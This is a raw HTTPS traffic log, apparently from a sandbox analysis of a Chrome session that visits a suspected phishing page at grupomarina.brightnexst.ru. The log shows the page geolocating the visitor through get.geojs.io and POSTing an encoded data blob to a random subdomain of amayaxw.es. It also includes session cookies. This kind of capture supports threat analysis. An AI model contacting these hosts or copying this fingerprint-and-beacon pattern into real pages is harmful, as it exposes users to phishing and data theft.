2025-03-17 20:55:19 UTC	1369	IN	Data Raw: 31 5e 33 f0 3f 2c c7 28 4d 42 bf 76 ac 65 35 fb 53 fa 8f 48 be e2 3d bb f1 2e 84 10 fe 50 33 f0 96 23 cd 03 ce 1f 85 4d e8 d7 8e b5 0c fc 4f e9 1f b0 54 00 6c 7a d6 b2 5f 66 78 c3 5a de b6 a7 18 02 00 1f 59 0d 80 a3 43 86 02 89 fa e3 d7 34 80 8a 73 c6 c7 00 38 56 a3 de 20 e9 d3 b7 d4 7e ed 78 cb d8 18 a2 07 e0 6a 06 a0 6d eb 0d 72 3c fe 58 51 b0 b7 4d 12 e3 8f 05 05 73 b5 4f 6d b1 da 69 9f 56 e6 c3 4b 7a bf 56 8c b7 6d db fe 21 69 43 00 7f fc 9a 56 e6 a7 e7 39 b2 7d 2a f3 bf a9 db 16 00 ab 91 ef 23 92 55 db 2e 91 df 36 2d c0 91 be 40 b6 4d 5b 33 00 1c 39 8f 5f b1 a6 68 44 12 1a 8b 5a de 6f 3e 06 90 f7 9b d9 18 1f 30 af c3 2b 05 d4 b6 9b 8d e9 01 73 1c ae 9a 85 54 c0 e1 25 1d 88 a7 2a a1 4c ef 31 eb 3d 56 15 b5 4c c2 2c ab 28 0e d5 c7 20 ca a7 6a 26 a6 3d Data Ascii: 1^3?,(MBve5SH=.P3#MOTlz_fxZYC4s8V ~xjmr<XQMsOmiVKzVm!iCV9}#U.6-@M[39_hDZo>0+sT%L1=VL,( j&=
2025-03-17 20:55:19 UTC	1369	IN	Data Raw: a3 b5 28 6c 34 66 ea f9 2e a5 c9 59 8b 02 86 03 51 93 17 60 d4 ad d8 25 71 b4 2f 28 b5 73 76 e4 9c 75 a9 8d ce 59 14 3f 68 b3 ed fb 2a 8d d1 9a 9f 28 a0 b3 f6 aa e7 bc 4a 6c b0 ee 27 fe cb 6f 02 49 c6 ce 9d 25 df 60 a8 88 4d a0 c9 de 5a 77 cd 39 6b 12 18 bd 73 3f 90 a4 73 44 c5 0e d6 0e 9c f3 2e 85 d1 79 f7 03 65 f4 ce b9 1b c6 58 97 c0 e0 9c 43 91 83 75 47 ce 39 ab 12 18 bd 73 3f 50 c6 60 88 0a 68 cd d0 f7 3b 9a 93 73 0e 65 8f ce f9 81 b3 96 75 69 4c de 3b ff 8a 99 b4 d6 de f4 9c 55 34 a3 77 f6 15 c5 0c d6 b9 1b ce d8 26 8d d1 7b e7 b0 f6 ec 9d f3 13 e3 6d db 9d eb 14 7d f0 1e 4b d8 39 37 b0 96 b1 ba 3b d7 18 7c f0 1e 85 f5 de fb a1 65 ac 6d 59 75 9e 53 74 c1 7b 14 dd 39 e7 af 19 6b 5b 56 9d 69 0c 3e 3a 8f 45 1d ad 3d 72 ce da cd 19 26 1f bc 77 98 49 e7 Data Ascii: (l4f.YQ`%q/(svuY?h*(Jl'oI%`MZw9ks?sD.yeXCuG9s?P`h;seuiL;U4w&{m}K97;\|emYuSt{9k[Vi>:E=r&wI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.16	49780	104.21.41.104	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:19 UTC	1408	OUT	GET /favicon.ico HTTP/1.1 Host: grupomarina.brightnexst.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPW Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjJVYndkK0dCY2FoRGdTdGdKMXMrSFE9PSIsInZhbHVlIjoiTHVzMDhDNXFoYzJIZnBlQWRtNzlVd2MwZnpReEJVYThMWTg4a1NpeTh4ekNiMW9IT3JyeEhyVlA5UUFseWNUWmxzT3FpQ1ZzSXNPWkpUbFV3SG0yY25sRjYzTSs4SGErWEZ4bWpxSHRGcC9FUzIrLy9DakIzOHl6S1B2d2JHQWsiLCJtYWMiOiJiZjIwNGRjMDc4NDAzYmJkNTNhOGE1ZDAzZDc4NjBmNjQ3NWQzMzk2YWFmNGJjNDZhYzg5YmE4YWY3NmJiMDMyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjRkVEdNV3VhTko2TmRCMzY0RXloVUE9PSIsInZhbHVlIjoiZ0pucVFXb2tmbXVNUlIvMEdraHJYRHNBblFaZXExZG4yUGQzS0lxWVdSMDVRV1k0QTFnbUMxR3JQbC9aTW1ZTm5wN1d6ZW9JV1NTWGJKcGIxR1FJZnQ4TXBETjlvRDYxNk92cHd5cGRjYld4TTRSYTRxUlRSbzZJeTBVU1pNMFIiLCJtYWMiOiJkMDdkYTlhZWY2NmNlNjk4ZTBiMTQzZDExYzQ2YWQ3MTNkNzc0ZmRiN2Q0MTkyZDBhNjRhYTIyZWI3OTI2NjFlIiwidGFnIjoiIn0%3D
2025-03-17 20:55:19 UTC	1046	IN	HTTP/1.1 404 Not Found Date: Mon, 17 Mar 2025 20:55:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4ESolW0Cf3pQqasSDugpsMcSG6oBoq0fLXP0Ppa9D4y7daoicYdaJx2vXf83w8aIvXzKc0qoxak%2B1ZR3jmO6hz%2BBz9OAYc5FQE818C4D2vKOquBeUMcdZ6PEjex0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=1162&min_rtt=1104&rtt_var=412&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2319&delivery_rate=2126284&cwnd=251&unsent_bytes=0&cid=ce0fc092dea349f3&ts=77&x=0" Cache-Control: max-age=14400 CF-Cache-Status: MISS Server: cloudflare CF-RAY: 921f63f9eff714a8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2115&min_rtt=2114&rtt_var=795&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1980&delivery_rate=1373471&cwnd=162&unsent_bytes=0&cid=7f97e4a6b7aef019&ts=403&x=0"
2025-03-17 20:55:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.16	49781	172.67.70.233	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:19 UTC	626	OUT	GET /v1/ip/geo.json HTTP/1.1 Host: get.geojs.io Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Origin: https://grupomarina.brightnexst.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://grupomarina.brightnexst.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 20:55:19 UTC	1128	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:19 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-request-id: 71546e74cbe8817adf9a5bd9e460ac16-ASH strict-transport-security: max-age=15552000; includeSubDomains; preload access-control-allow-origin: * access-control-allow-methods: GET pragma: no-cache Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 geojs-backend: ash-01 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Tha%2B2d95H4Lh%2FYQ5qIETP1mlFpvyyn%2FBGdSBxMKklgMnsuvNvi1nqjfaKul2DvGWFQw%2BaOV7c9RU6n2eVKCgriRvP2JwfsDAxqUtU6%2FSpUIU%2FPWaX0W3MsvMSogocg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 921f63f9e8d693b9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1706&min_rtt=1687&rtt_var=670&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2814&recv_bytes=1198&delivery_rate=1587819&cwnd=83&unsent_bytes=0&cid=7684f9a546847f47&ts=163&x=0"
2025-03-17 20:55:19 UTC	241	IN	Data Raw: 31 34 36 0d 0a 7b 22 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 22 34 30 2e 37 31 32 36 22 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 22 2d 37 34 2e 30 30 36 36 22 2c 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 5c 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 61 73 6e 22 3a 33 33 35 36 2c 22 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 3a 22 41 53 33 33 35 36 20 4c 45 56 45 4c 33 22 2c 22 61 63 63 75 72 61 63 79 22 3a 32 30 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 61 72 65 61 5f 63 6f 64 65 22 3a 22 30 22 2c 22 6f 72 67 Data Ascii: 146{"region":"New York","latitude":"40.7126","longitude":"-74.0066","ip":"8.46.123.189","country":"United States","timezone":"America\/New_York","asn":3356,"organization":"AS3356 LEVEL3","accuracy":20,"city":"New York","area_code":"0","org
2025-03-17 20:55:19 UTC	92	IN	Data Raw: 61 6e 69 7a 61 74 69 6f 6e 5f 6e 61 6d 65 22 3a 22 4c 45 56 45 4c 33 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 33 22 3a 22 55 53 41 22 2c 22 63 6f 6e 74 69 6e 65 6e 74 5f 63 6f 64 65 22 3a 22 4e 41 22 7d 0a 0d 0a Data Ascii: anization_name":"LEVEL3","country_code":"US","country_code3":"USA","continent_code":"NA"}
2025-03-17 20:55:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.16	49782	104.26.1.100	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:19 UTC	390	OUT	GET /v1/ip/geo.json HTTP/1.1 Host: get.geojs.io Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 20:55:20 UTC	1126	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:19 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-request-id: d33ecd5740286dd86858ef0ea5eefc19-ASH strict-transport-security: max-age=15552000; includeSubDomains; preload access-control-allow-origin: * access-control-allow-methods: GET pragma: no-cache Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 geojs-backend: ash-01 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7o%2BfyylvMcT0PusD5oY%2BvYkHfNM9d7eVT1qAWPTJkHEKD6Ogza4ELkIPVvafIerbxDNdT%2BCWcKqUuJIt3dhWvVvK%2B%2FuUyTDxrU2eYARcuJx5kAjiLfC5YDBssZkfag%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 921f63fdbff042dc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1593&min_rtt=1593&rtt_var=599&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2813&recv_bytes=962&delivery_rate=1826141&cwnd=208&unsent_bytes=0&cid=85ffe8653d539218&ts=139&x=0"
2025-03-17 20:55:20 UTC	243	IN	Data Raw: 31 34 36 0d 0a 7b 22 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 22 34 30 2e 37 31 32 36 22 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 22 2d 37 34 2e 30 30 36 36 22 2c 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 5c 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 61 73 6e 22 3a 33 33 35 36 2c 22 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 3a 22 41 53 33 33 35 36 20 4c 45 56 45 4c 33 22 2c 22 61 63 63 75 72 61 63 79 22 3a 32 30 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 61 72 65 61 5f 63 6f 64 65 22 3a 22 30 22 2c 22 6f 72 67 61 6e Data Ascii: 146{"region":"New York","latitude":"40.7126","longitude":"-74.0066","ip":"8.46.123.189","country":"United States","timezone":"America\/New_York","asn":3356,"organization":"AS3356 LEVEL3","accuracy":20,"city":"New York","area_code":"0","organ
2025-03-17 20:55:20 UTC	90	IN	Data Raw: 69 7a 61 74 69 6f 6e 5f 6e 61 6d 65 22 3a 22 4c 45 56 45 4c 33 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 33 22 3a 22 55 53 41 22 2c 22 63 6f 6e 74 69 6e 65 6e 74 5f 63 6f 64 65 22 3a 22 4e 41 22 7d 0a 0d 0a Data Ascii: ization_name":"LEVEL3","country_code":"US","country_code3":"USA","continent_code":"NA"}
2025-03-17 20:55:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.16	49783	104.21.49.96	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:19 UTC	802	OUT	POST /qroGHAUDePLpnzyKkQmczDpopPjitYSbVTVKVKMUJVFITSMCWETEESJCFPZDLPJNJXIrsk0agvHzvnbvksSbpV12V8Bcwx40 HTTP/1.1 Host: 5qdxsl77lrspjgndviiqjboedfl99fkwrbe1q8uvc7kmybiei89u.amayaxw.es Connection: keep-alive Content-Length: 121 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: https://grupomarina.brightnexst.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://grupomarina.brightnexst.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 20:55:19 UTC	121	OUT	Data Raw: 64 61 74 61 3d 70 73 6c 59 6a 6b 47 6b 5a 74 46 43 61 25 32 46 51 68 58 70 59 48 48 35 42 51 66 57 6e 72 74 70 51 66 35 68 62 43 44 42 61 5a 47 55 43 6f 68 54 33 73 6e 6e 53 64 65 4e 68 69 45 49 65 49 76 75 67 4d 52 4a 6c 6a 70 36 62 47 4f 76 37 25 32 42 37 69 43 62 34 6b 4f 25 32 46 34 7a 77 35 32 55 76 39 69 6e 5a 35 75 6a 53 43 6d 4b 35 32 52 7a 6b 25 33 44 Data Ascii: data=pslYjkGkZtFCa%2FQhXpYHH5BQfWnrtpQf5hbCDBaZGUCohT3snnSdeNhiEIeIvugMRJljp6bGOv7%2B7iCb4kO%2F4zw52Uv9inZ5ujSCmK52Rzk%3D
2025-03-17 20:55:20 UTC	931	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:20 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 536 Connection: close vary: Origin access-control-allow-origin: https://grupomarina.brightnexst.ru cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3zkyToNU%2FsUIsmE%2BazR7EJJG8fXmFJgQPI%2FOudArgf7d9BTP6VsL3ZWEvZmYn%2B3RigQzTHXfpTTozn3yhW3MaiiaGbpkrfHB3dAa9d0wv11lkG2iM8p%2B4jiPujsQ4ClEPCOlTZ0NoKoQ6vriFS2UtjbYRgMgPWOGQUHPN%2BEoWPGLVyusF6XvPtjN2whC3hdHRao%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 921f63fe193bc326-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1515&min_rtt=1507&rtt_var=581&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2822&recv_bytes=1517&delivery_rate=1857506&cwnd=242&unsent_bytes=0&cid=515a8dd942b70513&ts=541&x=0"
2025-03-17 20:55:20 UTC	438	IN	Data Raw: 6a 6f 31 70 66 6d 54 79 7a 4c 58 5a 63 64 33 52 52 33 6c 2b 37 6c 36 55 61 79 73 74 4c 54 69 6b 69 37 35 39 50 65 56 32 51 6a 47 76 6c 31 56 2b 45 73 76 47 69 4d 42 45 6f 69 50 73 4e 64 64 6b 2b 71 37 49 52 49 76 55 33 35 39 37 4b 41 58 5a 2f 43 6b 4a 41 76 5a 30 55 74 30 63 31 53 62 6c 38 5a 4b 59 31 78 32 43 32 51 6b 66 35 2b 31 57 50 75 30 70 58 56 6a 37 31 56 56 2f 46 75 34 49 76 72 56 34 68 69 75 55 46 39 6d 37 71 4d 39 55 61 55 36 63 55 72 34 56 44 30 66 4d 55 69 4a 4a 6e 6a 79 58 2b 6f 4e 4c 64 77 62 33 6f 58 50 39 53 34 67 64 41 72 39 58 4f 47 4f 44 4e 68 51 43 54 51 48 58 6f 59 4f 78 31 65 62 43 51 71 57 54 39 2f 79 72 6b 4c 76 59 58 73 38 49 65 72 31 72 58 41 6e 49 64 55 64 77 6c 57 76 41 7a 6c 34 37 78 76 2b 62 34 41 33 4a 62 6d 53 43 33 71 32 Data Ascii: jo1pfmTyzLXZcd3RR3l+7l6UaystLTiki759PeV2QjGvl1V+EsvGiMBEoiPsNddk+q7IRIvU3597KAXZ/CkJAvZ0Ut0c1Sbl8ZKY1x2C2Qkf5+1WPu0pXVj71VV/Fu4IvrV4hiuUF9m7qM9UaU6cUr4VD0fMUiJJnjyX+oNLdwb3oXP9S4gdAr9XOGODNhQCTQHXoYOx1ebCQqWT9/yrkLvYXs8Ier1rXAnIdUdwlWvAzl47xv+b4A3JbmSC3q2
2025-03-17 20:55:20 UTC	98	IN	Data Raw: 6b 73 6f 50 69 43 65 36 63 68 59 73 72 41 39 75 6d 66 77 68 57 53 5a 53 78 73 75 4f 71 58 63 54 53 72 76 69 33 7a 36 62 31 77 44 77 43 4e 6d 66 76 4a 39 56 39 4c 73 50 71 61 31 66 75 38 79 52 61 77 45 61 49 7a 6b 31 55 6f 32 4c 57 42 4c 6a 41 4f 7a 54 77 6e 35 37 69 5a 6f 51 67 50 7a 41 3d 3d Data Ascii: ksoPiCe6chYsrA9umfwhWSZSxsuOqXcTSrvi3z6b1wDwCNmfvJ9V9LsPqa1fu8yRawEaIzk1Uo2LWBLjAOzTwn57iZoQgPzA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.16	49784	104.21.49.96	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:20 UTC	523	OUT	GET /qroGHAUDePLpnzyKkQmczDpopPjitYSbVTVKVKMUJVFITSMCWETEESJCFPZDLPJNJXIrsk0agvHzvnbvksSbpV12V8Bcwx40 HTTP/1.1 Host: 5qdxsl77lrspjgndviiqjboedfl99fkwrbe1q8uvc7kmybiei89u.amayaxw.es Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 20:55:21 UTC	823	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:21 GMT Content-Length: 0 Connection: close vary: Origin cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YT0kEineqmJv%2FZldIQC4396eRw07pD5KhIxS8xL3hbnjTM3MUZlSHJlOOYL%2FFsTI8yPTnqHRMW0V3nUCZ3ek77WMuRcj%2BmMBsT5ZJ2zS8UjLObrGWIiYey%2BI1b2mUl6mBP9Tm96Nj4i3oTcU8CEmmtlNr3AqHQVhO2S%2BNFBPvlopqe96zvCGMnXbr%2F6I1ZxcvrU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 921f6404bd01c352-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1489&min_rtt=1487&rtt_var=561&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2822&recv_bytes=1095&delivery_rate=1942781&cwnd=179&unsent_bytes=0&cid=02fe94aca15ba689&ts=207&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.16	49797	35.190.80.1	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:56:12 UTC	543	OUT	OPTIONS /report/v4?s=Ngks3Q9GYc1VczPH%2FU89s2tX23XbQ6VDkNwsTMolcedPq2KTkxtMBx2%2BBiowShiv5v6twbNe7EnkbIE59tR2kKoFA%2FVAPFXibNy3WFGdlTmCauvXgqhnaVUbnE6A HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://grupomarina.brightnexst.ru Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 20:56:12 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Mon, 17 Mar 2025 20:56:11 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.16	49798	35.190.80.1	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:56:12 UTC	541	OUT	OPTIONS /report/v4?s=4ESolW0Cf3pQqasSDugpsMcSG6oBoq0fLXP0Ppa9D4y7daoicYdaJx2vXf83w8aIvXzKc0qoxak%2B1ZR3jmO6hz%2BBz9OAYc5FQE818C4D2vKOquBeUMcdZ6PEjex0 HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://grupomarina.brightnexst.ru Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 20:56:12 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Mon, 17 Mar 2025 20:56:11 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.16	49800	35.190.80.1	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:56:12 UTC	516	OUT	POST /report/v4?s=4ESolW0Cf3pQqasSDugpsMcSG6oBoq0fLXP0Ppa9D4y7daoicYdaJx2vXf83w8aIvXzKc0qoxak%2B1ZR3jmO6hz%2BBz9OAYc5FQE818C4D2vKOquBeUMcdZ6PEjex0 HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 966 Content-Type: application/reports+json Origin: https://grupomarina.brightnexst.ru User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 20:56:12 UTC	966	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 35 38 39 35 31 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 39 33 31 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 67 72 75 70 6f 6d 61 72 69 6e 61 2e 62 72 69 67 68 74 6e 65 78 73 74 2e 72 75 2f 70 61 78 36 6c 66 31 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 34 31 2e 31 30 34 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 30 2c 22 74 79 70 65 22 3a 22 61 62 61 6e 64 6f 6e 65 64 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 Data Ascii: [{"age":58951,"body":{"elapsed_time":931,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://grupomarina.brightnexst.ru/pax6lf1/","sampling_fraction":1.0,"server_ip":"104.21.41.104","status_code":0,"type":"abandoned"},"type":"ne
2025-03-17 20:56:12 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Mon, 17 Mar 2025 20:56:12 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.16	49799	35.190.80.1	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:56:12 UTC	518	OUT	POST /report/v4?s=Ngks3Q9GYc1VczPH%2FU89s2tX23XbQ6VDkNwsTMolcedPq2KTkxtMBx2%2BBiowShiv5v6twbNe7EnkbIE59tR2kKoFA%2FVAPFXibNy3WFGdlTmCauvXgqhnaVUbnE6A HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 901 Content-Type: application/reports+json Origin: https://grupomarina.brightnexst.ru User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
